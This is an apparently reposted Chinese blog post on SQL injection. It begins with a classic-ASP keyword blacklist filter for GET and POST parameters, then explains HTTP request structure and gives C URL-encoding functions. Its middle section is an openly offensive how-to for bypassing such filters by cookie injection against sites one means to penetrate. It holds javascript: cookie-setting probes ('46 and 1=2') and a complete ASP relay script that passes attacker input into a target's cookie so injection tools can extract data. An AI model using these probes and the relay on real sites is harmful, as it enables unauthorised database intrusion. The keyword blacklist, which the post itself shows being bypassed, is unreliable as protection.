zoukankan      html  css  js  c++  java
  • get post注入原理

    一般的http请求不外乎 get 和 post两种,如果过滤掉所有post或者get请求中的参数信息中的非法字符,那么也就实现了防SQL注入。
    首先定义请求中不能包含如下字符:
    '|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare
    各个字符用"|"隔开,然后再判断Request.QueryString,具体代码如下:
    get请求的非法字符过滤:
    dim sql_injdata
    SQL_injdata = "'|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare"
    SQL_inj = split(SQL_Injdata,"|")
    If Request.QueryString<>"" Then
    For Each SQL_Get In Request.QueryString
    For SQL_Data=0 To Ubound(SQL_inj)
    if instr(Request.QueryString(SQL_Get),Sql_Inj(Sql_DATA))>0 Then
    Response.Write "<Script Language='javascript'>{alert('请不要在参数中包含非法字符!');history.back(-1)}</Script>"
    Response.end
    end if
    next
    Next
    End If
    post请求的非法字符过滤:
    If Request.Form<>"" Then
    For Each Sql_Post In Request.Form
    For SQL_Data=0 To Ubound(SQL_inj)
    if instr(Request.Form(Sql_Post),Sql_Inj(Sql_DATA))>0 Then
    Response.Write "<Script Language='javascript'>{alert('请不要在参数中包含非法字符!');history.back(-1)}</Script>"
    Response.end
    end if
    next
    next
    end if
    然后在使用的时候将这两段代码放在数据库连接的文件里一起Include进来即可。

    一般情况下,当我们要渗透的网站做了防注入的话,最有效的就是进行Cookie注入,下面附手工进行Cookie注入的方法..(不要点击以下XXX。。。)
    ---------华丽的分割线---------
    假设网址为http://OOXX.com/xxx.asp?id=xxx,对GET以及POST提交的数据都进行了检测,也没办法饶过.首先打开上面的地址,再清空地址栏,输入javascript:alert(document.cookie="id="+escape("46 and 1=2")),再输入http://OOXX.com/xxx.asp,页面返回错误,说明有希望;提交javascript:alert(document.cookie="xx and 1=1")),最后输入http://OOXX.com/xxx.asp,这次返回完全正常,然后利用以下代码进行Cookie注入

    程序代码
    JavaScript代码
    <%   
    cookname=request("jmdcw")   
    cookname=escape(cookname)   
    jmstr="id="&cookname '存在注入的变量  
    jmstr=replace(jmstr,chr(32),"%20")  
    jmstr=replace(jmstr,chr(43),"%2b")  
    '//以下三行需要修改,Cookies值可以用Domain3.5浏览下就得到了~~   
    jmurl="http://OOXX.com/xxx.asp" '存在注入的网址  
    jmref="http://OOXX.com/xxx.asp" '来源地址   
    jmcok="ASPSESSIONIDCQTAQBSQ=ALGDAPNDKCOHJNDCAMOHDHLK"  
    jmcok=jmcok& ";"&jmstr";"  
    response.write postdata(jmurl,jmcok,jmref)   
    function postdata(posturl,postcok,postref)   
    dim http   
    set http=server.createobject("msxml2.serverxmlhttp")   
    with http   
    .open "POST",posturl,false  
    .setRequestheader "content-type","application/x-www-form-urlencoded"  
    .setrequestheader "referer",postref   
    .setrequestheader "cookie",postcok    '提交cookie值  
    .send()    '发送数据   
    postdata=.responsebody      '得到返回的二进制信息  
    end with  
    set http=nothing  
    postdata=bytes2BSTR(postdata) '转换二进制流   
    end function  
    function bytes2BSTR(vin)   
    dim strReturn   
    dim i,thischarcode,nextcharcode   
    strReturn=""  
    for i=1 to lenB(vin)   
    thischarcode=ascB(midB(vin,1,1))   
    if thischarcode<&H80 then   
    strReturn=strReturn&chr(thischarcode)   
    else  
    nextcharcode=ascB(midB(vin,1+1,1))   
    strReturn=strReturn&chr(clng(thischarcode) * &H100+cint(nextcharcode))   
    i=i+1   
    end if  
    next   
    bytes2BSTR=strReturn   
    end function  
    %>  

    保存以上代码为xxx.asp,那么注入地址就是http://127.0.0.1/jmdcw.asp?jmdcw=xxx,直接用工具猜解就OK.

    注入工具的原理和开发

    注入”这一词眼下可算得上时髦,“大街小巷”到处都能“听”到看到。这一词曾经让无数人“闻名色变”,今天我们的话题仍是注入。不过今天我们这里的这个注入不同于以往的,它有别于通常的SQL注入,可以说是一种新型的。平日里,人们在提交数据的时候都是采用页面形式。但是,今天我们这里就要打破这一传统观念。这种方法是通过自己构造HTTP请求报文,以程序的方式代替传统的方法,实现数据的自动提交。
    在文章还未进入正题的时候,我就HTTP协议这个东西给大家再罗嗦两句。其实关于HTTP协议这个东西我本来都不想说的。但是,为了照顾大多数朋友。平日里,当我们在打开一个网站的时候,比如说http://www.36963.cn/,实际上IE作为一个客户端,它将向服务器发送的是如下的请求报文:

    GET / HTTP/1.1
    Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-
    powerpoint, application/vnd.ms-excel, application/msword, application/x-shockwave-flash, */*
    Accept-Language: zh-cn
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
    Host: www.36963.cn
    Connection: Keep-Alive
    Cookie: NETEASE_SSN=hinrof; NETEASE_ADV=11&22; Province=0; City=0; NTES_UV_COOKIE=YES

    从以上的报文中,我们可以看到很多字段,不过其中有很多并不是必须的,如果我们自己编程,只关心必要的就行了。在HTTP/1.1协议中规定了最小请求消息由方法字段(GET/POST/HEAD)和主机字段(HOST)构成。如上面的

    GET /HTTP/1.1
    HOST:www.36963.cn

    但在HTTP/1.0中,HOST字段并不是必须的,至于这里为什么不能省,继续往下看。
    GET和POST是浏览器向服务器提交报文通常所采用的两种方法。服务器在收到报文之后,解码分析出所需的数据并进行处理,最后返回结果。通常我们可以看到的都是像

    GET /list.asp?id=*** HTTP/1.1
    HOST:***.***.***.***

    由于受URL长度1024的限制,所以GET方法通常是用在提交一些小数据的情况下。如果数据比较大就只能采用POST方法。在讲解POST方法的一些要点之前,大家还是先来看一段POST请求报文。

    POST /huace/add.php HTTP/1.1
    Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-
    powerpoint, application/vnd.ms-excel, application/msword, application/x-shockwav
    e-flash, */*
    Referer: http://202.147.125.36/huace/add.php
    Accept-Language: zh-cn
    Content-Type: application/x-www-form-urlencoded
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
    Host: 202.147.125.36
    Content-Length: 115
    Connection: Keep-Alive

    name=test&email=&comefrom=&homepage=&icq=
    &oicq=&image=say.gif&comment=test&password=&doadd=%B7%A2%CB%CD%C1%F4%D1%D4

    与GET方法相比,在字段下面多了一段内容,这就是我们提交的数据,如果有中文须经过urlencode编码。同样让我们省去不必要的字段,构造一个最小的POST请求。

    POST /huace/add.php HTTP/1.1
    Host: 202.147.125.36
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 115
    name=test&email=&comefrom=&homepage=
    &icq=&oicq=&image=say.gif&comment=test&password=&doadd=%B7%A2%CB%CD%C1%F4%D1%D4 

    上面的Content-Type字段表示为POST表单型的,Content-Length当然就是表示实体数据的长度了,这里都不能少,不然就无法正确接收了。这样,服务器端处理页面就会收到提交的数据,并接收处理。
    上面不知不觉的讲了一大堆关于客户端的东西,接下来看服务器方面。当报文数据到达服务器后,服务器底层进程进行接收并放入特定的缓冲区,同时设置一些环境变量,如“CONTENT_LENGTH“、”QUERY_STRING“等,当然这其间还是屏蔽了一些底层细节的,如客户端提交的数据是怎么被重置到被请求页的标准输入的,在此我们就不做过多的考虑。之后高层应用程序如CGI、ASP、PHP等对其进行数据提取,其中CGI还须自己进行Unencode解码和字符串提取。假如向一个ASP程序提交数据,我提交了name和body字段,且采用POST表单方式提交,在ASP程序中应如下进行接收:

    name=request.form("name")
    body=request.form("body")
    并添加到数据库中
    rs.addnew
    rs("name")=name
    rs("body")=body
    rs.update

    到此,该讲的也基本上讲完了,同时这里我们还要注意一点就是我们在发送报文时,“name=value“URLEncode编码这个东西不能少,如果没有它,我们在向数据库写东西的时候有可能就会失败。同时我们在这里还要注意一个问题,当编译器处理的是中文字符时,它会自动根据字符的位7来读入一个或两个字符,这时可以强制采用unsigned char *来读入一个字符。

    int isT(char ch)
    {
    if(ch==’ ’||ch==’%’||ch==’/’||ch&0x80) return 1;
    else return 0;
    }

    int encode(char *s,char *d)
    {
    if(!s||!d) return 0;
    for(;*s!=0;s++)
    {
    unsigned char *p=(unsigned char*)s;
    if(*p==’ ’)
    {
    *d=’%’;
    *(d+1)=’2’;
    *(d+2)=’0’;
    d+=3;
    }
    else if(isT(*p))
    {
    char a[3];
    *d=’%’;
    sprintf(a,"%02x",*p);
    *(d+1)=a[0];
    *(d+2)=a[1];
    d+=3;
    }
    else
    {
    *d=*p;
    d++;
    }
    }
    *d=0;
    return 1;
    }

    以下是Unencode URL解码函数:

    int unencode(char *s,char *d)
    {
    if(!s||!d) return 0;
    for(;*s!=0;s++)
    {
    if(*s==’+’)
    {
    *d=’ ’;
    d++;
    }
    else if(*s==’%’)
    {
    int code;
    if(sscanf(s+1,"%02x",&code)!=1) code=’?’;
    *d=code;
    s+=2;
    d++;
    }
    else
    {
    *d=*s;
    d++;
    }
    }
    *d=0;
    return 1;
    }
    ……

  • 相关阅读:
    python返回函数与匿名函数
    Session&Cookie
    write RE validation
    hello2 source anaylis
    Filter
    Development descriptor
    web.xml配置详解
    Annotation
    injector
    container
  • 原文地址:https://www.cnblogs.com/yuner/p/2489909.html
Copyright © 2011-2022 走看看